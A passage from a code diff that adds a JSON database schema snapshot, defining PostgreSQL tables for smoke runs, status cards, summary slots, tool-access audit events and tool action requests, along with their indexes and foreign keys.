+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
